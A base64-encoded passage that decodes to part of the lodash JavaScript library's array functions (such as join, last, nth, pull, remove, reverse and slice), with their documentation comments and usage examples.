3Rpb25gIGV4Y2VwdCB0aGF0IGl0IGFjY2VwdHMgYGNvbXBhcmF0b3JgXG4gICAgICogd2hpY2ggaXMgaW52b2tlZCB0byBjb21wYXJlIGVsZW1lbnRzIG9mIGBhcnJheXNgLiBUaGUgb3JkZXIgYW5kIHJlZmVyZW5jZXNcbiAgICAgKiBvZiByZXN1bHQgdmFsdWVzIGFyZSBkZXRlcm1pbmVkIGJ5IHRoZSBmaXJzdCBhcnJheS4gVGhlIGNvbXBhcmF0b3IgaXNcbiAgICAgKiBpbnZva2VkIHdpdGggdHdvIGFyZ3VtZW50czogKGFyclZhbCwgb3RoVmFsKS5cbiAgICAgKlxuICAgICAqIEBzdGF0aWNcbiAgICAgKiBAbWVtYmVyT2YgX1xuICAgICAqIEBzaW5jZSA0LjAuMFxuICAgICAqIEBjYXRlZ29yeSBBcnJheVxuICAgICAqIEBwYXJhbSB7Li4uQXJyYXl9IFthcnJheXNdIFRoZSBhcnJheXMgdG8gaW5zcGVjdC5cbiAgICAgKiBAcGFyYW0ge0Z1bmN0aW9ufSBbY29tcGFyYXRvcl0gVGhlIGNvbXBhcmF0b3IgaW52b2tlZCBwZXIgZWxlbWVudC5cbiAgICAgKiBAcmV0dXJucyB7QXJyYXl9IFJldHVybnMgdGhlIG5ldyBhcnJheSBvZiBpbnRlcnNlY3RpbmcgdmFsdWVzLlxuICAgICAqIEBleGFtcGxlXG4gICAgICpcbiAgICAgKiB2YXIgb2JqZWN0cyA9IFt7ICd4JzogMSwgJ3knOiAyIH0sIHsgJ3gnOiAyLCAneSc6IDEgfV07XG4gICAgICogdmFyIG90aGVycyA9IFt7ICd4JzogMSwgJ3knOiAxIH0sIHsgJ3gnOiAxLCAneSc6IDIgfV07XG4gICAgICpcbiAgICAgKiBfLmludGVyc2VjdGlvbldpdGgob2JqZWN0cywgb3RoZXJzLCBfLmlzRXF1YWwpO1xuICAgICAqIC8vID0+IFt7ICd4JzogMSwgJ3knOiAyIH1dXG4gICAgICovXG4gICAgdmFyIGludGVyc2VjdGlvbldpdGggPSBiYXNlUmVzdChmdW5jdGlvbihhcnJheXMpIHtcbiAgICAgIHZhciBjb21wYXJhdG9yID0gbGFzdChhcnJheXMpLFxuICAgICAgICAgIG1hcHBlZCA9IGFycmF5TWFwKGFycmF5cywgY2FzdEFycmF5TGlrZU9iamVjdCk7XG5cbiAgICAgIGNvbXBhcmF0b3IgPSB0eXBlb2YgY29tcGFyYXRvciA9PSAnZnVuY3Rpb24nID8gY29tcGFyYXRvciA6IHVuZGVmaW5lZDtcbiAgICAgIGlmIChjb21wYXJhdG9yKSB7XG4gICAgICAgIG1hcHBlZC5wb3AoKTtcbiAgICAgIH1cbiAgICAgIHJldHVybiAobWFwcGVkLmxlbmd0aCAmJiBtYXBwZWRbMF0gPT09IGFycmF5c1swXSlcbiAgICAgICAgPyBiYXNlSW50ZXJzZWN0aW9uKG1hcHBlZCwgdW5kZWZpbmVkLCBjb21wYXJhdG9yKVxuICAgICAgICA6IFtdO1xuICAgIH0pO1xuXG4gICAgLyoqXG4gICAgICogQ29udmVydHMgYWxsIGVsZW1lbnRzIGluIGBhcnJheWAgaW50byBhIHN0cmluZyBzZXBhcmF0ZWQgYnkgYHNlcGFyYXRvcmAuXG4gICAgICpcbiAgICAgKiBAc3RhdGljXG4gICAgICogQG1lbWJlck9mIF9cbiAgICAgKiBAc2luY2UgNC4wLjBcbiAgICAgKiBAY2F0ZWdvcnkgQXJyYXlcbiAgICAgKiBAcGFyYW0ge0FycmF5fSBhcnJheSBUaGUgYXJyYXkgdG8gY29udmVydC5cbiAgICAgKiBAcGFyYW0ge3N0cmluZ30gW3NlcGFyYXRvcj0nLCddIFRoZSBlbGVtZW50IHNlcGFyYXRvci5cbiAgICAgKiBAcmV0dXJucyB7c3RyaW5nfSBSZXR1cm5zIHRoZSBqb2luZWQgc3RyaW5nLlxuICAgICAqIEBleGFtcGxlXG4gICAgICpcbiAgICAgKiBfLmpvaW4oWydhJywgJ2InLCAnYyddLCAnficpO1xuICAgICAqIC8vID0+ICdhfmJ+YydcbiAgICAgKi9cbiAgICBmdW5jdGlvbiBqb2luKGFycmF5LCBzZXBhcmF0b3IpIHtcbiAgICAgIHJldHVybiBhcnJheSA9PSBudWxsID8gJycgOiBuYXRpdmVKb2luLmNhbGwoYXJyYXksIHNlcGFyYXRvcik7XG4gICAgfVxuXG4gICAgLyoqXG4gICAgICogR2V0cyB0aGUgbGFzdCBlbGVtZW50IG9mIGBhcnJheWAuXG4gICAgICpcbiAgICAgKiBAc3RhdGljXG4gICAgICogQG1lbWJlck9mIF9cbiAgICAgKiBAc2luY2UgMC4xLjBcbiAgICAgKiBAY2F0ZWdvcnkgQXJyYXlcbiAgICAgKiBAcGFyYW0ge0FycmF5fSBhcnJheSBUaGUgYXJyYXkgdG8gcXVlcnkuXG4gICAgICogQHJldHVybnMgeyp9IFJldHVybnMgdGhlIGxhc3QgZWxlbWVudCBvZiBgYXJyYXlgLlxuICAgICAqIEBleGFtcGxlXG4gICAgICpcbiAgICAgKiBfLmxhc3QoWzEsIDIsIDNdKTtcbiAgICAgKiAvLyA9PiAzXG4gICAgICovXG4gICAgZnVuY3Rpb24gbGFzdChhcnJheSkge1xuICAgICAgdmFyIGxlbmd0aCA9IGFycmF5ID09IG51bGwgPyAwIDogYXJyYXkubGVuZ3RoO1xuICAgICAgcmV0dXJuIGxlbmd0aCA/IGFycmF5W2xlbmd0aCAtIDFdIDogdW5kZWZpbmVkO1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIFRoaXMgbWV0aG9kIGlzIGxpa2UgYF8uaW5kZXhPZmAgZXhjZXB0IHRoYXQgaXQgaXRlcmF0ZXMgb3ZlciBlbGVtZW50cyBvZlxuICAgICAqIGBhcnJheWAgZnJvbSByaWdodCB0byBsZWZ0LlxuICAgICAqXG4gICAgICogQHN0YXRpY1xuICAgICAqIEBtZW1iZXJPZiBfXG4gICAgICogQHNpbmNlIDAuMS4wXG4gICAgICogQGNhdGVnb3J5IEFycmF5XG4gICAgICogQHBhcmFtIHtBcnJheX0gYXJyYXkgVGhlIGFycmF5IHRvIGluc3BlY3QuXG4gICAgICogQHBhcmFtIHsqfSB2YWx1ZSBUaGUgdmFsdWUgdG8gc2VhcmNoIGZvci5cbiAgICAgKiBAcGFyYW0ge251bWJlcn0gW2Zyb21JbmRleD1hcnJheS5sZW5ndGgtMV0gVGhlIGluZGV4IHRvIHNlYXJjaCBmcm9tLlxuICAgICAqIEByZXR1cm5zIHtudW1iZXJ9IFJldHVybnMgdGhlIGluZGV4IG9mIHRoZSBtYXRjaGVkIHZhbHVlLCBlbHNlIGAtMWAuXG4gICAgICogQGV4YW1wbGVcbiAgICAgKlxuICAgICAqIF8ubGFzdEluZGV4T2YoWzEsIDIsIDEsIDJdLCAyKTtcbiAgICAgKiAvLyA9PiAzXG4gICAgICpcbiAgICAgKiAvLyBTZWFyY2ggZnJvbSB0aGUgYGZyb21JbmRleGAuXG4gICAgICogXy5sYXN0SW5kZXhPZihbMSwgMiwgMSwgMl0sIDIsIDIpO1xuICAgICAqIC8vID0+IDFcbiAgICAgKi9cbiAgICBmdW5jdGlvbiBsYXN0SW5kZXhPZihhcnJheSwgdmFsdWUsIGZyb21JbmRleCkge1xuICAgICAgdmFyIGxlbmd0aCA9IGFycmF5ID09IG51bGwgPyAwIDogYXJyYXkubGVuZ3RoO1xuICAgICAgaWYgKCFsZW5ndGgpIHtcbiAgICAgICAgcmV0dXJuIC0xO1xuICAgICAgfVxuICAgICAgdmFyIGluZGV4ID0gbGVuZ3RoO1xuICAgICAgaWYgKGZyb21JbmRleCAhPT0gdW5kZWZpbmVkKSB7XG4gICAgICAgIGluZGV4ID0gdG9JbnRlZ2VyKGZyb21JbmRleCk7XG4gICAgICAgIGluZGV4ID0gaW5kZXggPCAwID8gbmF0aXZlTWF4KGxlbmd0aCArIGluZGV4LCAwKSA6IG5hdGl2ZU1pbihpbmRleCwgbGVuZ3RoIC0gMSk7XG4gICAgICB9XG4gICAgICByZXR1cm4gdmFsdWUgPT09IHZhbHVlXG4gICAgICAgID8gc3RyaWN0TGFzdEluZGV4T2YoYXJyYXksIHZhbHVlLCBpbmRleClcbiAgICAgICAgOiBiYXNlRmluZEluZGV4KGFycmF5LCBiYXNlSXNOYU4sIGluZGV4LCB0cnVlKTtcbiAgICB9XG5cbiAgICAvKipcbiAgICAgKiBHZXRzIHRoZSBlbGVtZW50IGF0IGluZGV4IGBuYCBvZiBgYXJyYXlgLiBJZiBgbmAgaXMgbmVnYXRpdmUsIHRoZSBudGhcbiAgICAgKiBlbGVtZW50IGZyb20gdGhlIGVuZCBpcyByZXR1cm5lZC5cbiAgICAgKlxuICAgICAqIEBzdGF0aWNcbiAgICAgKiBAbWVtYmVyT2YgX1xuICAgICAqIEBzaW5jZSA0LjExLjBcbiAgICAgKiBAY2F0ZWdvcnkgQXJyYXlcbiAgICAgKiBAcGFyYW0ge0FycmF5fSBhcnJheSBUaGUgYXJyYXkgdG8gcXVlcnkuXG4gICAgICogQHBhcmFtIHtudW1iZXJ9IFtuPTBdIFRoZSBpbmRleCBvZiB0aGUgZWxlbWVudCB0byByZXR1cm4uXG4gICAgICogQHJldHVybnMgeyp9IFJldHVybnMgdGhlIG50aCBlbGVtZW50IG9mIGBhcnJheWAuXG4gICAgICogQGV4YW1wbGVcbiAgICAgKlxuICAgICAqIHZhciBhcnJheSA9IFsnYScsICdiJywgJ2MnLCAnZCddO1xuICAgICAqXG4gICAgICogXy5udGgoYXJyYXksIDEpO1xuICAgICAqIC8vID0+ICdiJ1xuICAgICAqXG4gICAgICogXy5udGgoYXJyYXksIC0yKTtcbiAgICAgKiAvLyA9PiAnYyc7XG4gICAgICovXG4gICAgZnVuY3Rpb24gbnRoKGFycmF5LCBuKSB7XG4gICAgICByZXR1cm4gKGFycmF5ICYmIGFycmF5Lmxlbmd0aCkgPyBiYXNlTnRoKGFycmF5LCB0b0ludGVnZXIobikpIDogdW5kZWZpbmVkO1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIFJlbW92ZXMgYWxsIGdpdmVuIHZhbHVlcyBmcm9tIGBhcnJheWAgdXNpbmdcbiAgICAgKiBbYFNhbWVWYWx1ZVplcm9gXShodHRwOi8vZWNtYS1pbnRlcm5hdGlvbmFsLm9yZy9lY21hLTI2Mi83LjAvI3NlYy1zYW1ldmFsdWV6ZXJvKVxuICAgICAqIGZvciBlcXVhbGl0eSBjb21wYXJpc29ucy5cbiAgICAgKlxuICAgICAqICoqTm90ZToqKiBVbmxpa2UgYF8ud2l0aG91dGAsIHRoaXMgbWV0aG9kIG11dGF0ZXMgYGFycmF5YC4gVXNlIGBfLnJlbW92ZWBcbiAgICAgKiB0byByZW1vdmUgZWxlbWVudHMgZnJvbSBhbiBhcnJheSBieSBwcmVkaWNhdGUuXG4gICAgICpcbiAgICAgKiBAc3RhdGljXG4gICAgICogQG1lbWJlck9mIF9cbiAgICAgKiBAc2luY2UgMi4wLjBcbiAgICAgKiBAY2F0ZWdvcnkgQXJyYXlcbiAgICAgKiBAcGFyYW0ge0FycmF5fSBhcnJheSBUaGUgYXJyYXkgdG8gbW9kaWZ5LlxuICAgICAqIEBwYXJhbSB7Li4uKn0gW3ZhbHVlc10gVGhlIHZhbHVlcyB0byByZW1vdmUuXG4gICAgICogQHJldHVybnMge0FycmF5fSBSZXR1cm5zIGBhcnJheWAuXG4gICAgICogQGV4YW1wbGVcbiAgICAgKlxuICAgICAqIHZhciBhcnJheSA9IFsnYScsICdiJywgJ2MnLCAnYScsICdiJywgJ2MnXTtcbiAgICAgKlxuICAgICAqIF8ucHVsbChhcnJheSwgJ2EnLCAnYycpO1xuICAgICAqIGNvbnNvbGUubG9nKGFycmF5KTtcbiAgICAgKiAvLyA9PiBbJ2InLCAnYiddXG4gICAgICovXG4gICAgdmFyIHB1bGwgPSBiYXNlUmVzdChwdWxsQWxsKTtcblxuICAgIC8qKlxuICAgICAqIFRoaXMgbWV0aG9kIGlzIGxpa2UgYF8ucHVsbGAgZXhjZXB0IHRoYXQgaXQgYWNjZXB0cyBhbiBhcnJheSBvZiB2YWx1ZXMgdG8gcmVtb3ZlLlxuICAgICAqXG4gICAgICogKipOb3RlOioqIFVubGlrZSBgXy5kaWZmZXJlbmNlYCwgdGhpcyBtZXRob2QgbXV0YXRlcyBgYXJyYXlgLlxuICAgICAqXG4gICAgICogQHN0YXRpY1xuICAgICAqIEBtZW1iZXJPZiBfXG4gICAgICogQHNpbmNlIDQuMC4wXG4gICAgICogQGNhdGVnb3J5IEFycmF5XG4gICAgICogQHBhcmFtIHtBcnJheX0gYXJyYXkgVGhlIGFycmF5IHRvIG1vZGlmeS5cbiAgICAgKiBAcGFyYW0ge0FycmF5fSB2YWx1ZXMgVGhlIHZhbHVlcyB0byByZW1vdmUuXG4gICAgICogQHJldHVybnMge0FycmF5fSBSZXR1cm5zIGBhcnJheWAuXG4gICAgICogQGV4YW1wbGVcbiAgICAgKlxuICAgICAqIHZhciBhcnJheSA9IFsnYScsICdiJywgJ2MnLCAnYScsICdiJywgJ2MnXTtcbiAgICAgKlxuICAgICAqIF8ucHVsbEFsbChhcnJheSwgWydhJywgJ2MnXSk7XG4gICAgICogY29uc29sZS5sb2coYXJyYXkpO1xuICAgICAqIC8vID0+IFsnYicsICdiJ11cbiAgICAgKi9cbiAgICBmdW5jdGlvbiBwdWxsQWxsKGFycmF5LCB2YWx1ZXMpIHtcbiAgICAgIHJldHVybiAoYXJyYXkgJiYgYXJyYXkubGVuZ3RoICYmIHZhbHVlcyAmJiB2YWx1ZXMubGVuZ3RoKVxuICAgICAgICA/IGJhc2VQdWxsQWxsKGFycmF5LCB2YWx1ZXMpXG4gICAgICAgIDogYXJyYXk7XG4gICAgfVxuXG4gICAgLyoqXG4gICAgICogVGhpcyBtZXRob2QgaXMgbGlrZSBgXy5wdWxsQWxsYCBleGNlcHQgdGhhdCBpdCBhY2NlcHRzIGBpdGVyYXRlZWAgd2hpY2ggaXNcbiAgICAgKiBpbnZva2VkIGZvciBlYWNoIGVsZW1lbnQgb2YgYGFycmF5YCBhbmQgYHZhbHVlc2AgdG8gZ2VuZXJhdGUgdGhlIGNyaXRlcmlvblxuICAgICAqIGJ5IHdoaWNoIHRoZXkncmUgY29tcGFyZWQuIFRoZSBpdGVyYXRlZSBpcyBpbnZva2VkIHdpdGggb25lIGFyZ3VtZW50OiAodmFsdWUpLlxuICAgICAqXG4gICAgICogKipOb3RlOioqIFVubGlrZSBgXy5kaWZmZXJlbmNlQnlgLCB0aGlzIG1ldGhvZCBtdXRhdGVzIGBhcnJheWAuXG4gICAgICpcbiAgICAgKiBAc3RhdGljXG4gICAgICogQG1lbWJlck9mIF9cbiAgICAgKiBAc2luY2UgNC4wLjBcbiAgICAgKiBAY2F0ZWdvcnkgQXJyYXlcbiAgICAgKiBAcGFyYW0ge0FycmF5fSBhcnJheSBUaGUgYXJyYXkgdG8gbW9kaWZ5LlxuICAgICAqIEBwYXJhbSB7QXJyYXl9IHZhbHVlcyBUaGUgdmFsdWVzIHRvIHJlbW92ZS5cbiAgICAgKiBAcGFyYW0ge0Z1bmN0aW9ufSBbaXRlcmF0ZWU9Xy5pZGVudGl0eV0gVGhlIGl0ZXJhdGVlIGludm9rZWQgcGVyIGVsZW1lbnQuXG4gICAgICogQHJldHVybnMge0FycmF5fSBSZXR1cm5zIGBhcnJheWAuXG4gICAgICogQGV4YW1wbGVcbiAgICAgKlxuICAgICAqIHZhciBhcnJheSA9IFt7ICd4JzogMSB9LCB7ICd4JzogMiB9LCB7ICd4JzogMyB9LCB7ICd4JzogMSB9XTtcbiAgICAgKlxuICAgICAqIF8ucHVsbEFsbEJ5KGFycmF5LCBbeyAneCc6IDEgfSwgeyAneCc6IDMgfV0sICd4Jyk7XG4gICAgICogY29uc29sZS5sb2coYXJyYXkpO1xuICAgICAqIC8vID0+IFt7ICd4JzogMiB9XVxuICAgICAqL1xuICAgIGZ1bmN0aW9uIHB1bGxBbGxCeShhcnJheSwgdmFsdWVzLCBpdGVyYXRlZSkge1xuICAgICAgcmV0dXJuIChhcnJheSAmJiBhcnJheS5sZW5ndGggJiYgdmFsdWVzICYmIHZhbHVlcy5sZW5ndGgpXG4gICAgICAgID8gYmFzZVB1bGxBbGwoYXJyYXksIHZhbHVlcywgZ2V0SXRlcmF0ZWUoaXRlcmF0ZWUsIDIpKVxuICAgICAgICA6IGFycmF5O1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIFRoaXMgbWV0aG9kIGlzIGxpa2UgYF8ucHVsbEFsbGAgZXhjZXB0IHRoYXQgaXQgYWNjZXB0cyBgY29tcGFyYXRvcmAgd2hpY2hcbiAgICAgKiBpcyBpbnZva2VkIHRvIGNvbXBhcmUgZWxlbWVudHMgb2YgYGFycmF5YCB0byBgdmFsdWVzYC4gVGhlIGNvbXBhcmF0b3IgaXNcbiAgICAgKiBpbnZva2VkIHdpdGggdHdvIGFyZ3VtZW50czogKGFyclZhbCwgb3RoVmFsKS5cbiAgICAgKlxuICAgICAqICoqTm90ZToqKiBVbmxpa2UgYF8uZGlmZmVyZW5jZVdpdGhgLCB0aGlzIG1ldGhvZCBtdXRhdGVzIGBhcnJheWAuXG4gICAgICpcbiAgICAgKiBAc3RhdGljXG4gICAgICogQG1lbWJlck9mIF9cbiAgICAgKiBAc2luY2UgNC42LjBcbiAgICAgKiBAY2F0ZWdvcnkgQXJyYXlcbiAgICAgKiBAcGFyYW0ge0FycmF5fSBhcnJheSBUaGUgYXJyYXkgdG8gbW9kaWZ5LlxuICAgICAqIEBwYXJhbSB7QXJyYXl9IHZhbHVlcyBUaGUgdmFsdWVzIHRvIHJlbW92ZS5cbiAgICAgKiBAcGFyYW0ge0Z1bmN0aW9ufSBbY29tcGFyYXRvcl0gVGhlIGNvbXBhcmF0b3IgaW52b2tlZCBwZXIgZWxlbWVudC5cbiAgICAgKiBAcmV0dXJucyB7QXJyYXl9IFJldHVybnMgYGFycmF5YC5cbiAgICAgKiBAZXhhbXBsZVxuICAgICAqXG4gICAgICogdmFyIGFycmF5ID0gW3sgJ3gnOiAxLCAneSc6IDIgfSwgeyAneCc6IDMsICd5JzogNCB9LCB7ICd4JzogNSwgJ3knOiA2IH1dO1xuICAgICAqXG4gICAgICogXy5wdWxsQWxsV2l0aChhcnJheSwgW3sgJ3gnOiAzLCAneSc6IDQgfV0sIF8uaXNFcXVhbCk7XG4gICAgICogY29uc29sZS5sb2coYXJyYXkpO1xuICAgICAqIC8vID0+IFt7ICd4JzogMSwgJ3knOiAyIH0sIHsgJ3gnOiA1LCAneSc6IDYgfV1cbiAgICAgKi9cbiAgICBmdW5jdGlvbiBwdWxsQWxsV2l0aChhcnJheSwgdmFsdWVzLCBjb21wYXJhdG9yKSB7XG4gICAgICByZXR1cm4gKGFycmF5ICYmIGFycmF5Lmxlbmd0aCAmJiB2YWx1ZXMgJiYgdmFsdWVzLmxlbmd0aClcbiAgICAgICAgPyBiYXNlUHVsbEFsbChhcnJheSwgdmFsdWVzLCB1bmRlZmluZWQsIGNvbXBhcmF0b3IpXG4gICAgICAgIDogYXJyYXk7XG4gICAgfVxuXG4gICAgLyoqXG4gICAgICogUmVtb3ZlcyBlbGVtZW50cyBmcm9tIGBhcnJheWAgY29ycmVzcG9uZGluZyB0byBgaW5kZXhlc2AgYW5kIHJldHVybnMgYW5cbiAgICAgKiBhcnJheSBvZiByZW1vdmVkIGVsZW1lbnRzLlxuICAgICAqXG4gICAgICogKipOb3RlOioqIFVubGlrZSBgXy5hdGAsIHRoaXMgbWV0aG9kIG11dGF0ZXMgYGFycmF5YC5cbiAgICAgKlxuICAgICAqIEBzdGF0aWNcbiAgICAgKiBAbWVtYmVyT2YgX1xuICAgICAqIEBzaW5jZSAzLjAuMFxuICAgICAqIEBjYXRlZ29yeSBBcnJheVxuICAgICAqIEBwYXJhbSB7QXJyYXl9IGFycmF5IFRoZSBhcnJheSB0byBtb2RpZnkuXG4gICAgICogQHBhcmFtIHsuLi4obnVtYmVyfG51bWJlcltdKX0gW2luZGV4ZXNdIFRoZSBpbmRleGVzIG9mIGVsZW1lbnRzIHRvIHJlbW92ZS5cbiAgICAgKiBAcmV0dXJucyB7QXJyYXl9IFJldHVybnMgdGhlIG5ldyBhcnJheSBvZiByZW1vdmVkIGVsZW1lbnRzLlxuICAgICAqIEBleGFtcGxlXG4gICAgICpcbiAgICAgKiB2YXIgYXJyYXkgPSBbJ2EnLCAnYicsICdjJywgJ2QnXTtcbiAgICAgKiB2YXIgcHVsbGVkID0gXy5wdWxsQXQoYXJyYXksIFsxLCAzXSk7XG4gICAgICpcbiAgICAgKiBjb25zb2xlLmxvZyhhcnJheSk7XG4gICAgICogLy8gPT4gWydhJywgJ2MnXVxuICAgICAqXG4gICAgICogY29uc29sZS5sb2cocHVsbGVkKTtcbiAgICAgKiAvLyA9PiBbJ2InLCAnZCddXG4gICAgICovXG4gICAgdmFyIHB1bGxBdCA9IGZsYXRSZXN0KGZ1bmN0aW9uKGFycmF5LCBpbmRleGVzKSB7XG4gICAgICB2YXIgbGVuZ3RoID0gYXJyYXkgPT0gbnVsbCA/IDAgOiBhcnJheS5sZW5ndGgsXG4gICAgICAgICAgcmVzdWx0ID0gYmFzZUF0KGFycmF5LCBpbmRleGVzKTtcblxuICAgICAgYmFzZVB1bGxBdChhcnJheSwgYXJyYXlNYXAoaW5kZXhlcywgZnVuY3Rpb24oaW5kZXgpIHtcbiAgICAgICAgcmV0dXJuIGlzSW5kZXgoaW5kZXgsIGxlbmd0aCkgPyAraW5kZXggOiBpbmRleDtcbiAgICAgIH0pLnNvcnQoY29tcGFyZUFzY2VuZGluZykpO1xuXG4gICAgICByZXR1cm4gcmVzdWx0O1xuICAgIH0pO1xuXG4gICAgLyoqXG4gICAgICogUmVtb3ZlcyBhbGwgZWxlbWVudHMgZnJvbSBgYXJyYXlgIHRoYXQgYHByZWRpY2F0ZWAgcmV0dXJucyB0cnV0aHkgZm9yXG4gICAgICogYW5kIHJldHVybnMgYW4gYXJyYXkgb2YgdGhlIHJlbW92ZWQgZWxlbWVudHMuIFRoZSBwcmVkaWNhdGUgaXMgaW52b2tlZFxuICAgICAqIHdpdGggdGhyZWUgYXJndW1lbnRzOiAodmFsdWUsIGluZGV4LCBhcnJheSkuXG4gICAgICpcbiAgICAgKiAqKk5vdGU6KiogVW5saWtlIGBfLmZpbHRlcmAsIHRoaXMgbWV0aG9kIG11dGF0ZXMgYGFycmF5YC4gVXNlIGBfLnB1bGxgXG4gICAgICogdG8gcHVsbCBlbGVtZW50cyBmcm9tIGFuIGFycmF5IGJ5IHZhbHVlLlxuICAgICAqXG4gICAgICogQHN0YXRpY1xuICAgICAqIEBtZW1iZXJPZiBfXG4gICAgICogQHNpbmNlIDIuMC4wXG4gICAgICogQGNhdGVnb3J5IEFycmF5XG4gICAgICogQHBhcmFtIHtBcnJheX0gYXJyYXkgVGhlIGFycmF5IHRvIG1vZGlmeS5cbiAgICAgKiBAcGFyYW0ge0Z1bmN0aW9ufSBbcHJlZGljYXRlPV8uaWRlbnRpdHldIFRoZSBmdW5jdGlvbiBpbnZva2VkIHBlciBpdGVyYXRpb24uXG4gICAgICogQHJldHVybnMge0FycmF5fSBSZXR1cm5zIHRoZSBuZXcgYXJyYXkgb2YgcmVtb3ZlZCBlbGVtZW50cy5cbiAgICAgKiBAZXhhbXBsZVxuICAgICAqXG4gICAgICogdmFyIGFycmF5ID0gWzEsIDIsIDMsIDRdO1xuICAgICAqIHZhciBldmVucyA9IF8ucmVtb3ZlKGFycmF5LCBmdW5jdGlvbihuKSB7XG4gICAgICogICByZXR1cm4gbiAlIDIgPT0gMDtcbiAgICAgKiB9KTtcbiAgICAgKlxuICAgICAqIGNvbnNvbGUubG9nKGFycmF5KTtcbiAgICAgKiAvLyA9PiBbMSwgM11cbiAgICAgKlxuICAgICAqIGNvbnNvbGUubG9nKGV2ZW5zKTtcbiAgICAgKiAvLyA9PiBbMiwgNF1cbiAgICAgKi9cbiAgICBmdW5jdGlvbiByZW1vdmUoYXJyYXksIHByZWRpY2F0ZSkge1xuICAgICAgdmFyIHJlc3VsdCA9IFtdO1xuICAgICAgaWYgKCEoYXJyYXkgJiYgYXJyYXkubGVuZ3RoKSkge1xuICAgICAgICByZXR1cm4gcmVzdWx0O1xuICAgICAgfVxuICAgICAgdmFyIGluZGV4ID0gLTEsXG4gICAgICAgICAgaW5kZXhlcyA9IFtdLFxuICAgICAgICAgIGxlbmd0aCA9IGFycmF5Lmxlbmd0aDtcblxuICAgICAgcHJlZGljYXRlID0gZ2V0SXRlcmF0ZWUocHJlZGljYXRlLCAzKTtcbiAgICAgIHdoaWxlICgrK2luZGV4IDwgbGVuZ3RoKSB7XG4gICAgICAgIHZhciB2YWx1ZSA9IGFycmF5W2luZGV4XTtcbiAgICAgICAgaWYgKHByZWRpY2F0ZSh2YWx1ZSwgaW5kZXgsIGFycmF5KSkge1xuICAgICAgICAgIHJlc3VsdC5wdXNoKHZhbHVlKTtcbiAgICAgICAgICBpbmRleGVzLnB1c2goaW5kZXgpO1xuICAgICAgICB9XG4gICAgICB9XG4gICAgICBiYXNlUHVsbEF0KGFycmF5LCBpbmRleGVzKTtcbiAgICAgIHJldHVybiByZXN1bHQ7XG4gICAgfVxuXG4gICAgLyoqXG4gICAgICogUmV2ZXJzZXMgYGFycmF5YCBzbyB0aGF0IHRoZSBmaXJzdCBlbGVtZW50IGJlY29tZXMgdGhlIGxhc3QsIHRoZSBzZWNvbmRcbiAgICAgKiBlbGVtZW50IGJlY29tZXMgdGhlIHNlY29uZCB0byBsYXN0LCBhbmQgc28gb24uXG4gICAgICpcbiAgICAgKiAqKk5vdGU6KiogVGhpcyBtZXRob2QgbXV0YXRlcyBgYXJyYXlgIGFuZCBpcyBiYXNlZCBvblxuICAgICAqIFtgQXJyYXkjcmV2ZXJzZWBdKGh0dHBzOi8vbWRuLmlvL0FycmF5L3JldmVyc2UpLlxuICAgICAqXG4gICAgICogQHN0YXRpY1xuICAgICAqIEBtZW1iZXJPZiBfXG4gICAgICogQHNpbmNlIDQuMC4wXG4gICAgICogQGNhdGVnb3J5IEFycmF5XG4gICAgICogQHBhcmFtIHtBcnJheX0gYXJyYXkgVGhlIGFycmF5IHRvIG1vZGlmeS5cbiAgICAgKiBAcmV0dXJucyB7QXJyYXl9IFJldHVybnMgYGFycmF5YC5cbiAgICAgKiBAZXhhbXBsZVxuICAgICAqXG4gICAgICogdmFyIGFycmF5ID0gWzEsIDIsIDNdO1xuICAgICAqXG4gICAgICogXy5yZXZlcnNlKGFycmF5KTtcbiAgICAgKiAvLyA9PiBbMywgMiwgMV1cbiAgICAgKlxuICAgICAqIGNvbnNvbGUubG9nKGFycmF5KTtcbiAgICAgKiAvLyA9PiBbMywgMiwgMV1cbiAgICAgKi9cbiAgICBmdW5jdGlvbiByZXZlcnNlKGFycmF5KSB7XG4gICAgICByZXR1cm4gYXJyYXkgPT0gbnVsbCA/IGFycmF5IDogbmF0aXZlUmV2ZXJzZS5jYWxsKGFycmF5KTtcbiAgICB9XG5cbiAgICAvKipcbiAgICAgKiBDcmVhdGVzIGEgc2xpY2Ugb2YgYGFycmF5YCBmcm9tIGBzdGFydGAgdXAgdG8sIGJ1dCBub3QgaW5jbHVkaW5nLCBgZW5kYC5cbiAgICAgKlxuICAgICAqICoqTm90ZToqKiBUaGlzIG1ldGhvZCBpcyB1c2VkIGluc3RlYWQgb2ZcbiAgICAgKiBbYEFycmF5I3NsaWNlYF0oaHR0cHM6Ly9tZG4uaW8vQXJyYXkvc2xpY2UpIHRvIGVuc3VyZSBkZW5zZSBhcnJheXMgYXJlXG4gICAgICogcmV0dXJuZWQuXG4gICAgICpcbiAgICAgKiBAc3RhdGljXG4gICAgICogQG1lbWJlck9mIF9cbiAgICAgKiBAc2luY2UgMy4wLjBcbiAgICAgKiBAY2F0ZWdvcnkgQXJyYXlcbiAgICAgKiBAcGFyYW0ge0FycmF5fSBhcnJheSBUaGUgYXJyYXkgdG8gc2xpY2UuXG4gICAgICogQHBhcmFtIHtudW1iZXJ9IFtzdGFydD0wXSBUaGUgc3RhcnQgcG9zaXRpb24uXG4gICAgICogQHBhcmFtIHtudW1iZXJ9IFtlbmQ9YXJyYXkubGVuZ3RoXSBUaGUgZW5kIHBvc2l0aW9uLlxuICAgICAqIEByZXR1cm5zIHtBcnJheX0gUmV0dXJucyB0aGUgc2xpY2Ugb2YgYGFycmF5YC5cbiAgICAgKi9cbiAgICBmdW5jdGlvbiBzbGljZShhcnJheSwgc3RhcnQsIGVuZCkge1xuICAgICAgdmFyIGxlbmd0aCA9IGFycmF5ID09IG51bGwgPyAwIDogYXJyYXkubGVuZ3RoO1xuICAgICAgaWYgKCFsZW5ndGgpIHtcbiAgICAgICAgcmV0dXJuIFtdO1xuICAgICAgfVxuICAgICAgaWYgKGVuZCAmJiB0eXBlb2YgZW5kICE9ICdudW1iZXInICYmIGlzSXRlcmF0ZWVDYWxsKGFycmF5LCBzdGFydCwgZW5kKSkge1xuICAgICAgICBzdGFydCA9IDA7XG4gICAgICAgIGVuZCA9IGxlbmd0aDtcbiAgICAgIH1cbiAgICAgIGVsc2Uge1xuICAgICAgICBzdGFydCA9IHN0YXJ0ID09IG51bGwgPyAwIDogdG9JbnRlZ2VyKHN0YXJ0KTtcbiAgICAgICAgZW5kID0gZW5kID09PSB1bmRlZmluZWQgPyBsZW5ndGggOiB0b0ludGVnZXIoZW5kKTtcbiAgICAgIH1cbiAgICAgIHJldHVybiBiYXNlU2xpY2UoYXJyYXksIHN0YXJ0LCBlbmQpO1xuICAg